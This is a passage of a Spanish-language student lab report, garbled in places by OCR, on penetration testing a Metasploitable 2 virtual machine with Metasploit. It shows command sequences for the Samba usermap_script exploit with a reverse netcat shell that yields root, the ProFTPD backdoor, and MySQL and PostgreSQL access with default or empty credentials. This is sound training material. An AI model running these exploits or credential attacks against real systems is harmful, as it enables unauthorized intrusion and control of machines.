e Active Directory Certificate Services (ADCS): Modulos auxiliares que permiten
realizar ataques de escalada de privilegios mediante solicitudes de certificados en

entornos de Active Directory. Aunque se identificaron tres variantes
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(AUTHENTICATE, PRIVESC y REQUEST_CERT), en este caso no fueron

utilizados por no estar relacionados directamente con el entorno analizado.

o Apache Commons Text RCE (text4shell): Se identific6 el modulo
exploit/multi/http/apache _commons_text4shell, correspondiente a una
vulnerabilidad critica de ejecucion remota de comandos (RCE) descubierta en
octubre de 2022. Este mddulo tiene una calificacion de riesgo "excellent" y esta
verificado (Check: Yes), lo cual indica que es una opcion viable para explotacion si

el entorno contiene este componente vulnerable.

msf6 > search dns

Matching Modules

# Name Disclosure Date Rank
Description

0 auxiliary/admin/dcerpc/cve_2022_26923_certifried s normal
Active Directory Certificate Services (ADCS) privilege escalation (Certifried)
1 \_ action: AUTHENTICATE
Same as REQUEST_CERT but also authenticate
2 \_ action: PRIVESC
Full privilege escalation attack
3 \_ action: REQUEST_CERT
Request a certificate with PNS host name matching the DC
4 exploit/multi/http/apache_commons_text4shell
Apache Commons Text RCE
_ target: Java (in-memory)

target: Windows EXE Dropper
target: Windows Command

target: Unix Command

llustracion 21-3.3.5 Explotacion del Puerto 53 — Servicio DNS

e Enumeracion de Registros DNS

Como parte del proceso de recoleccion de informacion, se utilizoé el médulo auxiliar

gather/enum_dns de Metasploit. Este mddulo tiene como finalidad obtener informacién
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detallada sobre los registros DNS de un dominio objetivo, incluyendo registros de tipo A,

MX, NS, SOA, TXT y SRV.

En este caso, se configur6 el dominio metasploitable.localdomain y se ejecut6 el

modulo contra la direccion IP previamente identificada (178.90.90.4).

Resultado del intento:

o Se realizaron multiples consultas DNS relacionadas con el dominio, pero muchas de

ellas no obtuvieron respuesta.

e El médulo arrojé errores del tipo NoResponseError, lo que indica que no se recibio

informacion desde el servidor DNS consultado

msf6 > use auxiliary/gather/enum_dns
msf6 auxiliary( ) > set DOMAIN metasploitable.localdomain
DOMAIN = metasploitable.localdomain
msf6 auxiliary( ) > run
Running module against 178.90.90.4
Querying DNS NS records for metasploitable.localdomain
AXFR failed: undefined method "map!’' for nil
Querying DNS CNAME records for metasploitable.localdomain
Querying DNS NS records for metasploitable.localdomain
Querying DNS MX records for metasploitable.localdomain
Querying DNS SOA records for metasploitable.localdomain
Querying DNS TXT records for metasploitable.localdomain
Querying DNS SRV records for metasploitable.localdomain
Auxiliary failed: NoResponseError NoResponseError
Call stack:
/usr/share/metasploit-framework/lib/rex/proto/dns/resolver.rb:186:in "send’
/usr/share/metasploit-framework/lib/rex/proto/dns/resolver.rb:396:in “query’
/usr/share/metasploit-framework/lib/msf/core/exploit/remote/dns/client.rb:61:in “query’
/usr/share/metasploit-framework/lib/msf/core/exploit/remote/dns/enumeration. “block (2 levels) in
dns_get_srv’
/usr/share/metasploit-framework/lib/msf/core/exploit/remote/dns/enumeration.rb: :in “each’
/usr/share/metasploit-framework/lib/msf/core/exploit/remote/dns/enumeration.rb: :in “block in dns_get_sr

/usr/share/metasploit-framework/lib/msf/core/exploit/remote/dns/enumeration.rb: :in “each’
/usr/share/metasploit-framework/lib/msf/core/exploit/remote/dns/enumeration.rb:227:in “dns_get_srv’
/usr/share/metasploit-framework/modules/auxiliary/gather/enum_dns.rb:87:in °
Auxiliary module execution completed
msf6 auxiliary( ) > 1

llustracion 22-Enumeracion de Registros DNS
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3.5.6 Explotacion de los Puertos 139 y 445 — (Samba)

Durante el reconocimiento del sistema objetivo, se detectaron abiertos los puertos
139/TCP y 445/TCP, comunmente utilizados por el protocolo SMB (Server Message

Block), implementado en sistemas Windows y en servicios Samba de Linux/Unix.

Estos puertos permiten compartir archivos, impresoras y otros recursos en red. Sin
embargo, también son frecuentemente objetivos de ataques debido a vulnerabilidades

conocidas en implementaciones antiguas de SMB/Samba.

mst6 > search usermap_script

Matching Modules

Disclosure Date Rank Check Description

@ exploit/multi/samba/USermap_Script 2007-05-14 £ llent No Samba "username map script” Command
Execution

Interact with a module by name or index. For example

msf6 > i

llustracion 23-3.3.6  Explotacion del Puertos 139 y 445 — (Samba)

e Configuracion del Exploit Samba

Luego de identificar la presencia del servicio Samba y de encontrar un modulo de
explotacién compatible (usermap_script), se procedio6 a su configuracion utilizando

Metasploit.

use exploit/multi/samba/usermap_script
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Este modulo se emplea para aprovechar una vulnerabilidad en algunas versiones de
Samba, que permite la ejecucion de comandos a través de un script malicioso asociado al

pardmetro username map.

» Parametros configurados:

e RHOSTS: 178.90.90.4

Direccion IP del objetivo vulnerable.

e PAYLOAD: cmd/unix/reverse netcat
Se utiliz6 un payload que, en caso de éxito, generard una conexion inversa (reverse

shell) usando netcat, permitiendo acceso remoto al sistema.

e« LHOST: 178.90.90.6

Direccion IP del atacante, es decir, el sistema que recibird la conexion inversa.

o LPORT: 4444

Puerto local donde el atacante escuchara la conexion entrante.

Este conjunto de configuraciones prepara el entorno para lanzar el exploit y obtener

acceso remoto si la vulnerabilidad es efectiva en el sistema destino.
msf6 >
se_netcat
erse_netcat

t LPORT 4444

msf6 exploit(

llustracion 24-Configuracion del Exploit Samba
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e Ejecucion del Exploit y Obtencion de Acceso Remoto

Una vez configurado el exploit usermap_script, se procedio a su ejecucion mediante

el comando: run

> Resultados:

e Se inici6 correctamente un handler TCP reverso en la maquina atacante

(178.90.90.6:4444), a la espera de recibir una conexion del sistema victima.

o Se logro abrir una sesién remota (Command Shell) con la maquina objetivo

(178.90.90.4). Esto indica que la explotacion fue exitosa.

» Verificacion de privilegios:

Para confirmar el nivel de acceso obtenido, se ejecutd el comando whoami.

e Resultado: root
Esto significa que se obtuvo acceso con privilegios de superusuario, lo cual

permite el control total del sistema comprometido.

msf6 oit( )
ed reverse TCP handler on 178 Lk
Command shell session 1 opened (178 4444 — 178.90.90.4:45120) at 2025-08-05 22:53:04 -0500

whoiami

/bin/sh: line 4: whoiami: command not found
whiomi

/bin/sh: line 5: whiomi: command not found
whoami

root

llustracion 25-Ejecucion del Exploit y Obtencion de Acceso Remoto
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3.5.7 Explotacion del puerto 2121 (ProFTPD 1.3.1)

Durante la fase de reconocimiento se identifico que el servicio FTP estaba en
ejecucion. Con esto en mente, se procedid a buscar posibles fallos de seguridad en

ProFTPD, que es un servidor FTP comun en entornos Linux.

Herramienta utilizada:

Se empled el modulo de busqueda de Metasploit con el siguiente comando: search

proftpd

Resultados obtenidos:

La busqueda reveld varios exploits aplicables a versiones especificas de ProFTPD.

Entre ellos destacan:

o proftpd_sreplace: Este exploit apunta a un fallo de desbordamiento de bufer en las
versiones 1.2 a 1.3.0 del servicio. Puede usarse para ejecutar cddigo en el sistema

remoto si se cumplen ciertas condiciones.

o proftp_telnet _iac: Se trata de una vulnerabilidad en la forma en que el servidor
maneja comandos Telnet IAC. Esta presente en versiones entre la 1.3.2rc3 y 1.3.3b.
Esta falla permite ejecutar comandos en el sistema, y es compatible tanto con

FreeBSD como con Linux.
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msf6 > search proftpd

Matching Modules

# Name Disclosure Date Rank
escription

0 exploit/linux/misc/netsupport_manager_agent 2011-01-08 average
etSupport Manager Agent Remote Buffer Overflow
1 exploit/linux/ftp/proftp_sreplace 2006-11-26
TOFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
P \_ target: Automatic Targeting
3 \_ target: Debug
4 \_ target: PEOFTPD 1.3.0 (source install) / Debian 3.1 B
5 exploit/freebsd/ftp/proftp_telnet_iac 2010-11-01
POFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
6 \_ target: Automatic Targeting
7 \_ target: Debug
8 \_ target: PFOFTPD 1.3.2a Server (FreeBSD 8.0) .
9 exploit/linux/ftp/proftp_telnet_iac 2010-11-01
TOFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
\_ target: Automatic Targeting
\_ target: Debug
\_ target: PEOFTPD 1.3.3a Server (Debian) - Squeeze Betal

llustracion 26-8.1.6 Explotacion del puerto 2121 (ProFTPD 1.3.1)

Durante el reconocimiento, se detectd que el puerto 2121, correspondiente a un
servicio FTP, estaba abierto. Se ejecutd el modulo de Metasploit
exploit/unix/ftp/proftpd _133c_backdoor, disefiado para aprovechar una vulnerabilidad en
la version 1.3.3¢ de ProFTPD, que permite la ejecucion de comandos remotos en el

sistema afectado.

e Ejecucion del modulo:

Inicialmente, se configur6 la direccion del objetivo (RHOSTS) pero no se
estableci6 un payload, lo cual generé un mensaje de error. Sin embargo, al ejecutar el
comando whoami, se observo una respuesta del sistema indicando que se tenia acceso con
privilegios root, lo que confirma que la explotacion fue efectiva a pesar de no haberse

generado una sesion formal.

En un segundo intento se configuré un payload (cmd/unix/interact), pero este no

fue aceptado por el modulo, lo que impidi6 que se estableciera una conexion activa. No
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obstante, el acceso obtenido en el primer intento fue suficiente para comprobar que el

sistema remoto era vulnerable y comprometible a través de este puerto y servicio.

root@Yeiber: /homefyeiber

Archivo Acciones Editar Vista Ayuda

msf6 > use exploit/unix/ftp/proftpd_133c_backdoor
msf6 exploit( ) > set RHOSTS 178.90.90.4
RHOSTS = 178.90.90.4
msf6 exploit( ) > exploit
178.90.90.4:21 - Exploit failed: A payload has not been selected.
Exploit completed, but no session was created.
msf6 exploit( ) > whoami
exec: whoami

root

msf6 exploit( ) > back

msf6 > use exploit/unix/ftp/proftpd_133c_backdoor

msf6 exploit( ) > set RHOSTS 178.90.90.4

RHOSTS = 178.90.90.4

msf6 exploit( ) > set PAYLOAD cmd/unix/interact
The value specified for PAYLOAD is not valid.

msf6 exploit( ) > exploit
178.90.90.4:21 - Exploit failed: A payload has not been selected.
Exploit completed, but no session was created.

llustracion 27-Ejecucion del modulo

3.5.8 Explotacion del puerto 3306 (MySQL)

En el reconocimiento inicial, se identifico que el puerto 3306 se encontraba abierto,
lo que usualmente corresponde a un servicio de base de datos MySQL. Para evaluar
posibles accesos no autorizados, se utilizé el modulo auxiliar
auxiliary/scanner/mysql/mysql_login de Metasploit, el cual permite realizar intentos de

autenticacion sobre dicho servicio.

Este modulo no explota vulnerabilidades como tal, sino que se enfoca en

comprobar si existen credenciales validas, ya sea por fuerza bruta o mediante
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diccionarios. Esta etapa es clave para determinar si la configuracion del servicio permite

accesos débiles o mal protegidos.

msf6 > search mysql_login

Matching Modules

# Name Disclosure Date Rank Check Description

@ auxiliary/scanner/mysql/mysql_Togin . normal No MySQL Login Utility

Interact with a module by name or index. For example inf

msf6 > i

llustracion 28-8.1.7 Explotacion del puerto 3306 (MySQL)

Para lanzar el ataque, se configurd el modulo con las credenciales mas comunes de
MySQL. En el entorno de Metasploitable 2, se sabia que las credenciales por defecto de un

usuario administrador eran root para el nombre de usuario y toor para la contrasefia.

Los siguientes comandos fueron ejecutados para configurar y lanzar el ataque:

e set RHOSTS 178.90.90.4: Se establecio la direccion IP de la méquina objetivo.

e set USERNAME root: Se defini6 el nombre de usuario que se iba a probar.

e set PASSWORD root: Se establecid la contrasefia que se iba a probar.

anner/mysql/mysql_login
sl — e Creat option thin this module can open an interactive session

) > set RHO 8.90.90.4
) > set USERNAME root
)} > set PAS D root

llustracion 29-Credenciales
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Durante la ejecucion se detectd que la version remota del servicio es MySQL
5.0.51a, una version antigua y potencialmente vulnerable. Sin embargo, los intentos de
autenticacion utilizando credenciales comunes como root: root no tuvieron éxito. Los
errores relacionados con paquetes invalidos (scramble_length(0) != length of
scramble(21)) sugieren que puede haber un problema de compatibilidad con la forma en

que el servidor estd manejando la autenticacion

msf6 auxiliary( ) > run
[+] 178.90.90.4:3306 - 178.90.90.4:3306 - Found remote MySQL version 5.0.51a
[!]

178.90.90.4:3306 - No active DB — Credential data will not be saved!
178.90.90.4:3306 - 178.90.90.4:3306 - LOGIN FAILED: root:root (Unable to Connect: invalid packet: scram
ble_length(@) #* length of scramble(21))

178.90.90.4:3306 - 178.90.90.4:3306 - LOGIN FAILED: root: (Unable to Connect: invalid packet: scramble_
length(@) = length of scramble(21))
178.90.90.4:3306 - Scanned 1 of 1 hosts (100% complete)
178.90.90.4:3306 - Bruteforce completed, @ credentials were successful.
178.90.90.4:3306 - You can open an MySQL session with these credentials and CreateS i set to true
Auxiliary module execution completed

Ilustracion 30-Run

Posteriormente, se intentd un acceso directo al servicio mediante el cliente de

consola de MySQL: mysql -h 178.90.90.4 -u root --skip-ssl

La conexion fue exitosa sin requerir contrasefia, lo que evidencia una configuracion
insegura del servicio. Una vez dentro del monitor de MySQL, se pudo listar las bases de

datos disponibles.

178.90.90.4

Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 15
Server version: 5.0.5l1a-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type ‘help;” or "\h" for help. Type *\c’ to clear the current input statement.

MySQL [(none)l> SHOW DATABASES;
—_—
Database

1
information_schema |
dvwa |
metasploit I
mysqgl |
owaspl@ |
tikiwiki 1
tikiwikiilos 1
S ot SR
s

1
1
|
|
|
I
I
1
+
7

rows in set (90,002

MysQL [(none)1> N

[lustracion 31-Acceso manual a MySQL
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3.5.9 Explotacion del puerto 5432 (PostgreSQL)

El comando search postgres login en Metasploit Framework se utiliza para
buscar mddulos relacionados con la autenticacion al servicio PostgreSQL, especificamente

para realizar ataques de fuerza bruta sobre este servicio.

Cuando ejecutamos este comando dentro de Metasploit (msfconsole), el framework
busca y lista los modulos disponibles que coincidan con el término postgres_login,
mostrando informacion como el nombre del modulo, tipo (auxiliary/exploit), descripcion y

referencia.

En este caso, el médulo que nos interesa es:

auxiliary/scanner/postgres/postgres login

Este modulo permite probar multiples combinaciones de usuarios y contraseiias

contra un servidor PostgreSQL expuesto en el puerto 5432.

msf6 > search postgres_login

Matching Modules

# Name Disclosure Date Rank Check Description

0 auxiliary/scanner/postgres/postgres Togin . normal No PostgreSQL Login Utility

Interact with a module by name or index. For example inf

llustracion 32-8.1.8 Explotacion del puerto 5432 (PostgreSQOL)

Después de obtener credenciales validas para el servicio PostgreSQL (usuario:
postgres, contrasefia: postgres), se utilizo el modulo postgres sql de Metasploit, el cual

permite ejecutar consultas SQL directamente sobre la base de datos remota.
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Se configuraron los siguientes parametros:

« RHOSTS: 178.90.90.4

e USERNAME: postgres

e PASSWORD: postgres

e DATABASE: templatel

e SQL: SELECT version();

Al ejecutar el mddulo con esta consulta, se obtuvo la siguiente respuesta del

servidor:

PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3

(Ubuntu 4.2.3-2ubuntu4)

Este resultado confirma que fue posible interactuar directamente con la base de
datos, lo que representa una seria vulnerabilidad. El acceso no autorizado a un servicio de
base de datos expuesto a la red puede permitir desde consultas simples hasta la
manipulacion total de la informacion almacenada, dependiendo de los privilegios del

usuario comprometido.
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msf6 > use auxiliary/admin/postgres/postgres_sqgl

New in Metasploit 6.4 - This module can target a SESSION or an
msf6 auxiliary( ) > set RHOSTS 178.90.90.4
RHOSTS = 178.90.90.4
msf6 auxiliary( ) > set USERNAME postgres
USERNAME = postgres
msf6 auxiliary( ) set PASSWORD postgres
PASSWORD = postgres
msf6 auxiliary( set DATABASE templatel
DATABASE = templatel
msf6 auxiliary( set SQL "SELECT version();"
SQL = SELECT version();
msf6 auxiliary(

Running module against 178.90.90.4
Query Text: "SELECT version();°

version

PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntus)

Auxiliary module execution completed
msf6 auxiliary( N |

llustracion 33-Acceso exitoso
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4. CONCLUCION

Durante el desarrollo de este laboratorio, se logré configurar correctamente una red
virtual en VirtualBox que permitio la conexion entre Kali Linux y Metasploitable 2. A
través de diferentes herramientas de analisis y explotacién, como Nmap y Metasploit, se
identificaron y explotaron multiples servicios vulnerables expuestos por diversos puertos
abiertos, como el 21 (FTP), 22 (SSH), 23 (Telnet), 25 (SMTP), 80 (HTTP), 139 y 445
(Samba), y 5432 (PostgreSQL). Cada una de las pruebas realizadas mostro lo facil que
puede ser entrar a un sistema cuando sus servicios no estan bien configurados o
actualizados. Gracias a estas pruebas, fue posible acceder sin permiso, encontrar
contrasefias y controlar el sistema a distancia. Esto demuestra lo importante que es tener
una buena configuracion y seguridad en la red, asi como hacer revisiones frecuentes para

detectar fallas antes de que otros las aprovechen.
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